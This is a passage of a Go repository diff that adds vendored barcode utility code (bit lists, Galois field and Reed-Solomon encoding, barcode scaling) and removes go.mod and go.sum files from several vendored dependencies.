+	wrap := func(x, y int) color.Color {
+		if x < offsetX || y < offsetY {
+			return color.White
+		}
+		x = (x - offsetX) / factor
+		y = (y - offsetY) / factor
+		if x >= orgWidth || y >= orgHeight {
+			return color.White
+		}
+		return bc.At(x, y)
+	}
+
+	return newScaledBC(
+		bc,
+		wrap,
+		image.Rect(0, 0, width, height),
+	), nil
+}
+
+func scale1DCode(bc Barcode, width, height int) (Barcode, error) {
+	orgBounds := bc.Bounds()
+	orgWidth := orgBounds.Max.X - orgBounds.Min.X
+	factor := int(float64(width) / float64(orgWidth))
+
+	if factor <= 0 {
+		return nil, fmt.Errorf("can not scale barcode to an image smaller than %dx1", orgWidth)
+	}
+	offsetX := (width - (orgWidth * factor)) / 2
+
+	wrap := func(x, y int) color.Color {
+		if x < offsetX {
+			return color.White
+		}
+		x = (x - offsetX) / factor
+
+		if x >= orgWidth {
+			return color.White
+		}
+		return bc.At(x, 0)
+	}
+
+	return newScaledBC(
+		bc,
+		wrap,
+		image.Rect(0, 0, width, height),
+	), nil
+}

vendor/github.com/boombuler/barcode/utils/base1dcode.go

@@ -0,0 +1,57 @@
+// Package utils contain some utilities which are needed to create barcodes
+package utils
+
+import (
+	"image"
+	"image/color"
+
+	"github.com/boombuler/barcode"
+)
+
+type base1DCode struct {
+	*BitList
+	kind    string
+	content string
+}
+
+type base1DCodeIntCS struct {
+	base1DCode
+	checksum int
+}
+
+func (c *base1DCode) Content() string {
+	return c.content
+}
+
+func (c *base1DCode) Metadata() barcode.Metadata {
+	return barcode.Metadata{c.kind, 1}
+}
+
+func (c *base1DCode) ColorModel() color.Model {
+	return color.Gray16Model
+}
+
+func (c *base1DCode) Bounds() image.Rectangle {
+	return image.Rect(0, 0, c.Len(), 1)
+}
+
+func (c *base1DCode) At(x, y int) color.Color {
+	if c.GetBit(x) {
+		return color.Black
+	}
+	return color.White
+}
+
+func (c *base1DCodeIntCS) CheckSum() int {
+	return c.checksum
+}
+
+// New1DCodeIntCheckSum creates a new 1D barcode where the bars are represented by the bits in the bars BitList
+func New1DCodeIntCheckSum(codeKind, content string, bars *BitList, checksum int) barcode.BarcodeIntCS {
+	return &base1DCodeIntCS{base1DCode{bars, codeKind, content}, checksum}
+}
+
+// New1DCode creates a new 1D barcode where the bars are represented by the bits in the bars BitList
+func New1DCode(codeKind, content string, bars *BitList) barcode.Barcode {
+	return &base1DCode{bars, codeKind, content}
+}

vendor/github.com/boombuler/barcode/utils/bitlist.go

@@ -0,0 +1,119 @@
+package utils
+
+// BitList is a list that contains bits
+type BitList struct {
+	count int
+	data  []int32
+}
+
+// NewBitList returns a new BitList with the given length
+// all bits are initialize with false
+func NewBitList(capacity int) *BitList {
+	bl := new(BitList)
+	bl.count = capacity
+	x := 0
+	if capacity%32 != 0 {
+		x = 1
+	}
+	bl.data = make([]int32, capacity/32+x)
+	return bl
+}
+
+// Len returns the number of contained bits
+func (bl *BitList) Len() int {
+	return bl.count
+}
+
+func (bl *BitList) grow() {
+	growBy := len(bl.data)
+	if growBy < 128 {
+		growBy = 128
+	} else if growBy >= 1024 {
+		growBy = 1024
+	}
+
+	nd := make([]int32, len(bl.data)+growBy)
+	copy(nd, bl.data)
+	bl.data = nd
+}
+
+// AddBit appends the given bits to the end of the list
+func (bl *BitList) AddBit(bits ...bool) {
+	for _, bit := range bits {
+		itmIndex := bl.count / 32
+		for itmIndex >= len(bl.data) {
+			bl.grow()
+		}
+		bl.SetBit(bl.count, bit)
+		bl.count++
+	}
+}
+
+// SetBit sets the bit at the given index to the given value
+func (bl *BitList) SetBit(index int, value bool) {
+	itmIndex := index / 32
+	itmBitShift := 31 - (index % 32)
+	if value {
+		bl.data[itmIndex] = bl.data[itmIndex] | 1<<uint(itmBitShift)
+	} else {
+		bl.data[itmIndex] = bl.data[itmIndex] & ^(1 << uint(itmBitShift))
+	}
+}
+
+// GetBit returns the bit at the given index
+func (bl *BitList) GetBit(index int) bool {
+	itmIndex := index / 32
+	itmBitShift := 31 - (index % 32)
+	return ((bl.data[itmIndex] >> uint(itmBitShift)) & 1) == 1
+}
+
+// AddByte appends all 8 bits of the given byte to the end of the list
+func (bl *BitList) AddByte(b byte) {
+	for i := 7; i >= 0; i-- {
+		bl.AddBit(((b >> uint(i)) & 1) == 1)
+	}
+}
+
+// AddBits appends the last (LSB) 'count' bits of 'b' the the end of the list
+func (bl *BitList) AddBits(b int, count byte) {
+	for i := int(count) - 1; i >= 0; i-- {
+		bl.AddBit(((b >> uint(i)) & 1) == 1)
+	}
+}
+
+// GetBytes returns all bits of the BitList as a []byte
+func (bl *BitList) GetBytes() []byte {
+	len := bl.count >> 3
+	if (bl.count % 8) != 0 {
+		len++
+	}
+	result := make([]byte, len)
+	for i := 0; i < len; i++ {
+		shift := (3 - (i % 4)) * 8
+		result[i] = (byte)((bl.data[i/4] >> uint(shift)) & 0xFF)
+	}
+	return result
+}
+
+// IterateBytes iterates through all bytes contained in the BitList
+func (bl *BitList) IterateBytes() <-chan byte {
+	res := make(chan byte)
+
+	go func() {
+		c := bl.count
+		shift := 24
+		i := 0
+		for c > 0 {
+			res <- byte((bl.data[i] >> uint(shift)) & 0xFF)
+			shift -= 8
+			if shift < 0 {
+				shift = 24
+				i++
+			}
+			c -= 8
+		}
+		close(res)
+	}()
+
+	return res
+}

vendor/github.com/boombuler/barcode/utils/galoisfield.go

@@ -0,0 +1,65 @@
+package utils
+
+// GaloisField encapsulates galois field arithmetics
+type GaloisField struct {
+	Size    int
+	Base    int
+	ALogTbl []int
+	LogTbl  []int
+}
+
+// NewGaloisField creates a new galois field
+func NewGaloisField(pp, fieldSize, b int) *GaloisField {
+	result := new(GaloisField)
+
+	result.Size = fieldSize
+	result.Base = b
+	result.ALogTbl = make([]int, fieldSize)
+	result.LogTbl = make([]int, fieldSize)
+
+	x := 1
+	for i := 0; i < fieldSize; i++ {
+		result.ALogTbl[i] = x
+		x = x * 2
+		if x >= fieldSize {
+			x = (x ^ pp) & (fieldSize - 1)
+		}
+	}
+
+	for i := 0; i < fieldSize; i++ {
+		result.LogTbl[result.ALogTbl[i]] = int(i)
+	}
+
+	return result
+}
+
+func (gf *GaloisField) Zero() *GFPoly {
+	return NewGFPoly(gf, []int{0})
+}
+
+// AddOrSub add or substract two numbers
+func (gf *GaloisField) AddOrSub(a, b int) int {
+	return a ^ b
+}
+
+// Multiply multiplys two numbers
+func (gf *GaloisField) Multiply(a, b int) int {
+	if a == 0 || b == 0 {
+		return 0
+	}
+	return gf.ALogTbl[(gf.LogTbl[a]+gf.LogTbl[b])%(gf.Size-1)]
+}
+
+// Divide divides two numbers
+func (gf *GaloisField) Divide(a, b int) int {
+	if b == 0 {
+		panic("divide by zero")
+	} else if a == 0 {
+		return 0
+	}
+	return gf.ALogTbl[(gf.LogTbl[a]-gf.LogTbl[b])%(gf.Size-1)]
+}
+
+func (gf *GaloisField) Invers(num int) int {
+	return gf.ALogTbl[(gf.Size-1)-gf.LogTbl[num]]
+}

vendor/github.com/boombuler/barcode/utils/gfpoly.go

@@ -0,0 +1,103 @@
+package utils
+
+type GFPoly struct {
+	gf           *GaloisField
+	Coefficients []int
+}
+
+func (gp *GFPoly) Degree() int {
+	return len(gp.Coefficients) - 1
+}
+
+func (gp *GFPoly) Zero() bool {
+	return gp.Coefficients[0] == 0
+}
+
+// GetCoefficient returns the coefficient of x ^ degree
+func (gp *GFPoly) GetCoefficient(degree int) int {
+	return gp.Coefficients[gp.Degree()-degree]
+}
+
+func (gp *GFPoly) AddOrSubstract(other *GFPoly) *GFPoly {
+	if gp.Zero() {
+		return other
+	} else if other.Zero() {
+		return gp
+	}
+	smallCoeff := gp.Coefficients
+	largeCoeff := other.Coefficients
+	if len(smallCoeff) > len(largeCoeff) {
+		largeCoeff, smallCoeff = smallCoeff, largeCoeff
+	}
+	sumDiff := make([]int, len(largeCoeff))
+	lenDiff := len(largeCoeff) - len(smallCoeff)
+	copy(sumDiff, largeCoeff[:lenDiff])
+	for i := lenDiff; i < len(largeCoeff); i++ {
+		sumDiff[i] = int(gp.gf.AddOrSub(int(smallCoeff[i-lenDiff]), int(largeCoeff[i])))
+	}
+	return NewGFPoly(gp.gf, sumDiff)
+}
+
+func (gp *GFPoly) MultByMonominal(degree int, coeff int) *GFPoly {
+	if coeff == 0 {
+		return gp.gf.Zero()
+	}
+	size := len(gp.Coefficients)
+	result := make([]int, size+degree)
+	for i := 0; i < size; i++ {
+		result[i] = int(gp.gf.Multiply(int(gp.Coefficients[i]), int(coeff)))
+	}
+	return NewGFPoly(gp.gf, result)
+}
+
+func (gp *GFPoly) Multiply(other *GFPoly) *GFPoly {
+	if gp.Zero() || other.Zero() {
+		return gp.gf.Zero()
+	}
+	aCoeff := gp.Coefficients
+	aLen := len(aCoeff)
+	bCoeff := other.Coefficients
+	bLen := len(bCoeff)
+	product := make([]int, aLen+bLen-1)
+	for i := 0; i < aLen; i++ {
+		ac := int(aCoeff[i])
+		for j := 0; j < bLen; j++ {
+			bc := int(bCoeff[j])
+			product[i+j] = int(gp.gf.AddOrSub(int(product[i+j]), gp.gf.Multiply(ac, bc)))
+		}
+	}
+	return NewGFPoly(gp.gf, product)
+}
+
+func (gp *GFPoly) Divide(other *GFPoly) (quotient *GFPoly, remainder *GFPoly) {
+	quotient = gp.gf.Zero()
+	remainder = gp
+	fld := gp.gf
+	denomLeadTerm := other.GetCoefficient(other.Degree())
+	inversDenomLeadTerm := fld.Invers(int(denomLeadTerm))
+	for remainder.Degree() >= other.Degree() && !remainder.Zero() {
+		degreeDiff := remainder.Degree() - other.Degree()
+		scale := int(fld.Multiply(int(remainder.GetCoefficient(remainder.Degree())), inversDenomLeadTerm))
+		term := other.MultByMonominal(degreeDiff, scale)
+		itQuot := NewMonominalPoly(fld, degreeDiff, scale)
+		quotient = quotient.AddOrSubstract(itQuot)
+		remainder = remainder.AddOrSubstract(term)
+	}
+	return
+}
+
+func NewMonominalPoly(field *GaloisField, degree int, coeff int) *GFPoly {
+	if coeff == 0 {
+		return field.Zero()
+	}
+	result := make([]int, degree+1)
+	result[0] = coeff
+	return NewGFPoly(field, result)
+}
+
+func NewGFPoly(field *GaloisField, coefficients []int) *GFPoly {
+	for len(coefficients) > 1 && coefficients[0] == 0 {
+		coefficients = coefficients[1:]
+	}
+	return &GFPoly{field, coefficients}
+}

vendor/github.com/boombuler/barcode/utils/reedsolomon.go

@@ -0,0 +1,44 @@
+package utils
+
+import (
+	"sync"
+)
+
+type ReedSolomonEncoder struct {
+	gf        *GaloisField
+	polynomes []*GFPoly
+	m         *sync.Mutex
+}
+
+func NewReedSolomonEncoder(gf *GaloisField) *ReedSolomonEncoder {
+	return &ReedSolomonEncoder{
+		gf, []*GFPoly{NewGFPoly(gf, []int{1})}, new(sync.Mutex),
+	}
+}
+
+func (rs *ReedSolomonEncoder) getPolynomial(degree int) *GFPoly {
+	rs.m.Lock()
+	defer rs.m.Unlock()
+
+	if degree >= len(rs.polynomes) {
+		last := rs.polynomes[len(rs.polynomes)-1]
+		for d := len(rs.polynomes); d <= degree; d++ {
+			next := last.Multiply(NewGFPoly(rs.gf, []int{1, rs.gf.ALogTbl[d-1+rs.gf.Base]}))
+			rs.polynomes = append(rs.polynomes, next)
+			last = next
+		}
+	}
+	return rs.polynomes[degree]
+}
+
+func (rs *ReedSolomonEncoder) Encode(data []int, eccCount int) []int {
+	generator := rs.getPolynomial(eccCount)
+	info := NewGFPoly(rs.gf, data)
+	info = info.MultByMonominal(eccCount, 1)
+	_, remainder := info.Divide(generator)
+
+	result := make([]int, eccCount)
+	numZero := int(eccCount) - len(remainder.Coefficients)
+	copy(result[numZero:], remainder.Coefficients)
+	return result
+}

vendor/github.com/boombuler/barcode/utils/runeint.go

@@ -0,0 +1,19 @@
+package utils
+
+// RuneToInt converts a rune between '0' and '9' to an integer between 0 and 9
+// If the rune is outside of this range -1 is returned.
+func RuneToInt(r rune) int {
+	if r >= '0' && r <= '9' {
+		return int(r - '0')
+	}
+	return -1
+}
+
+// IntToRune converts a digit 0 - 9 to the rune '0' - '9'. If the given int is outside
+// of this range 'F' is returned!
+func IntToRune(i int) rune {
+	if i >= 0 && i <= 9 {
+		return rune(i + '0')
+	}
+	return 'F'
+}

vendor/github.com/cheggaaa/pb/v3/go.mod

@@ -1,11 +0,0 @@
-module github.com/cheggaaa/pb/v3
-
-require (
-	github.com/VividCortex/ewma v1.1.1
-	github.com/fatih/color v1.7.0
-	github.com/mattn/go-colorable v0.1.2
-	github.com/mattn/go-isatty v0.0.12
-	github.com/mattn/go-runewidth v0.0.7
-)
-
-go 1.12

vendor/github.com/cheggaaa/pb/v3/go.sum

@@ -1,21 +0,0 @@
-github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdcM=
-github.com/VividCortex/ewma v1.1.1/go.mod h1:2Tkkvm3sRDVXaiyucHiACn4cqf7DpdyLvmxzcbUokwA=
-github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys=
-github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
-github.com/mattn/go-colorable v0.1.2 h1:/bC9yWikZXAL9uJdulbSfyVNIR3n3trXl+v8+1sx8mU=
-github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
-github.com/mattn/go-isatty v0.0.8 h1:HLtExJ+uU2HOZ+wI0Tt5DtUDrx8yhUqDcp7fYERX4CE=
-github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
-github.com/mattn/go-isatty v0.0.10 h1:qxFzApOv4WsAL965uUPIsXzAKCZxN2p9UqdhFS4ZW10=
-github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84=
-github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
-github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
-github.com/mattn/go-runewidth v0.0.7 h1:Ei8KR0497xHyKJPAv59M1dkC+rOZCMBJ+t3fZ+twI54=
-github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
-golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223 h1:DH4skfRX4EBpamg7iV4ZlCpblAHI6s6TDM39bFZumv8=
-golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20191128015809-6d18c012aee9 h1:ZBzSG/7F4eNKz2L3GE9o300RX0Az1Bw5HF7PDraD+qU=
-golang.org/x/sys v0.0.0-20191128015809-6d18c012aee9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20200116001909-b77594299b42 h1:vEOn+mP2zCOVzKckCZy6YsCtDblrpj/w7B9nxGNELpg=
-golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=

vendor/github.com/desertbit/closer/v3/go.mod

@@ -1,8 +0,0 @@
-module github.com/desertbit/closer/v3
-
-go 1.12
-
-require (
-	github.com/hashicorp/go-multierror v1.0.0
-	github.com/stretchr/testify v1.3.0
-)

vendor/github.com/desertbit/closer/v3/go.sum

@@ -1,11 +0,0 @@
-github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
-github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
-github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA=
-github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
-github.com/hashicorp/go-multierror v1.0.0 h1:iVjPR7a6H0tWELX5NxNe7bYopibicUzc7uPribsnS6o=
-github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=
-github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
-github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
-github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
-github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q=
-github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=

vendor/github.com/desertbit/go-shlex/go.mod

@@ -1,5 +0,0 @@
-module github.com/desertbit/go-shlex
-
-go 1.14
-
-require github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568

vendor/github.com/desertbit/go-shlex/go.sum

@@ -1,2 +0,0 @@
-github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
-github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=

vendor/github.com/desertbit/grumble/go.mod

@@ -1,22 +0,0 @@
-module github.com/desertbit/grumble
-
-go 1.12
-
-require (
-	github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667 // indirect
-	github.com/chzyer/logex v1.1.10 // indirect
-	github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 // indirect
-	github.com/davecgh/go-spew v1.1.1 // indirect
-	github.com/desertbit/closer/v3 v3.1.2
-	github.com/desertbit/columnize v2.1.0+incompatible
-	github.com/desertbit/go-shlex v0.1.1
-	github.com/desertbit/readline v1.5.1
-	github.com/fatih/color v1.10.0
-	github.com/hashicorp/errwrap v1.1.0 // indirect
-	github.com/hashicorp/go-multierror v1.1.0 // indirect
-	github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c // indirect
-	github.com/kr/pty v1.1.8 // indirect
-	golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4 // indirect
-	golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e // indirect
-	gopkg.in/AlecAivazis/survey.v1 v1.8.5
-)

vendor/github.com/desertbit/grumble/go.sum

@@ -1,98 +0,0 @@
-github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8 h1:xzYJEypr/85nBpB11F9br+3HUrpgb+fcm5iADzXXYEw=
-github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
-github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667 h1:l2RCK7mjLhjfZRIcCXTVHI34l67IRtKASBjusViLzQ0=
-github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
-github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
-github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
-github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 h1:q763qf9huN11kDQavWsoZXJNW3xEE4JJyHa5Q25/sd8=
-github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
-github.com/creack/pty v1.1.7 h1:6pwm8kMQKCmgUg0ZHTm5+/YvRK0s3THD/28+T6/kk4A=
-github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY=
-github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
-github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
-github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
-github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
-github.com/desertbit/closer/v3 v3.0.1 h1:mZORDd9VbXIgH8OrUyKrS+0sdvNwpR47JB5cgnBTc0I=
-github.com/desertbit/closer/v3 v3.0.1/go.mod h1:AAC4KRd8DC40nwvV967J/kDFhujMEiuwIKQfN0IDxXw=
-github.com/desertbit/closer/v3 v3.1.2 h1:a6+2DmwIcNygW04XXWYq+Qp2X9uIk9QbZCP9//qEkb0=
-github.com/desertbit/closer/v3 v3.1.2/go.mod h1:AAC4KRd8DC40nwvV967J/kDFhujMEiuwIKQfN0IDxXw=
-github.com/desertbit/columnize v2.1.0+incompatible h1:h55rYmdrWoTj7w9aAnCkxzM3C2Eb8zuFa2W41t0o5j0=
-github.com/desertbit/columnize v2.1.0+incompatible/go.mod h1:5kPrzQwKbQ8E5D28nvTVPqIBJyj+8jvJzwt6HXZvXgI=
-github.com/desertbit/go-shlex v0.1.0 h1:HapoSxMl/xT59s1Z+RR6ScBuH2H8vr4HcgERVjBTJ8s=
-github.com/desertbit/go-shlex v0.1.0/go.mod h1:Qbb+mJNud5AypgHZ81EL8syOGaWlwvAOTqS7XmWI4pQ=
-github.com/desertbit/go-shlex v0.1.1 h1:c65HnbgX1QyC6kPL1dMzUpZ4puNUE6ai/eVucWNLNsk=
-github.com/desertbit/go-shlex v0.1.1/go.mod h1:Qbb+mJNud5AypgHZ81EL8syOGaWlwvAOTqS7XmWI4pQ=
-github.com/desertbit/readline v0.0.0-20171208011716-f6d7a1f6fbf3 h1:PLbrJOpAtk8ros5avAt8am0GJvPuD08FVLV+ffmG0Jo=
-github.com/desertbit/readline v0.0.0-20171208011716-f6d7a1f6fbf3/go.mod h1:AayRnEOr0ttSh4kgOlHBBtJufZMMW/1BVCdV5oFs8t0=
-github.com/desertbit/readline v1.5.1 h1:/wOIZkWYl1s+IvJm/5bOknfUgs6MhS9svRNZpFM53Os=
-github.com/desertbit/readline v1.5.1/go.mod h1:pHQgTsCFs9Cpfh5mlSUFi9Xa5kkL4d8L1Jo4UVWzPw0=
-github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys=
-github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
-github.com/fatih/color v1.10.0 h1:s36xzo75JdqLaaWoiEHk767eHiwo0598uUxyfiPkDsg=
-github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
-github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
-github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
-github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA=
-github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
-github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I=
-github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
-github.com/hashicorp/go-multierror v1.0.0 h1:iVjPR7a6H0tWELX5NxNe7bYopibicUzc7uPribsnS6o=
-github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=
-github.com/hashicorp/go-multierror v1.1.0 h1:B9UzwGQJehnUY1yNrnwREHc3fGbC2xefo8g4TbElacI=
-github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA=
-github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174 h1:WlZsjVhE8Af9IcZDGgJGQpNflI3+MJSBhsgT5PCtzBQ=
-github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
-github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c h1:kp3AxgXgDOmIJFR7bIwqFhwJ2qWar8tEQSE5XXhCfVk=
-github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
-github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs=
-github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8=
-github.com/kr/pty v1.1.1 h1:VkoXIwSboBpnk99O/KFauAEILuNHv5DVFKZMBN/gUgw=
-github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
-github.com/kr/pty v1.1.8 h1:AkaSdXYQOWeaO3neb8EM634ahkXXe3jYbVh/F9lq+GI=
-github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
-github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
-github.com/mattn/go-colorable v0.1.2 h1:/bC9yWikZXAL9uJdulbSfyVNIR3n3trXl+v8+1sx8mU=
-github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
-github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8=
-github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
-github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
-github.com/mattn/go-isatty v0.0.8 h1:HLtExJ+uU2HOZ+wI0Tt5DtUDrx8yhUqDcp7fYERX4CE=
-github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
-github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
-github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
-github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4=
-github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
-github.com/nbutton23/zxcvbn-go v0.0.0-20180912185939-ae427f1e4c1d/go.mod h1:o96djdrsSGy3AWPyBgZMAGfxZNfgntdJG+11KU4QvbU=
-github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
-github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
-github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
-github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
-github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q=
-github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
-github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
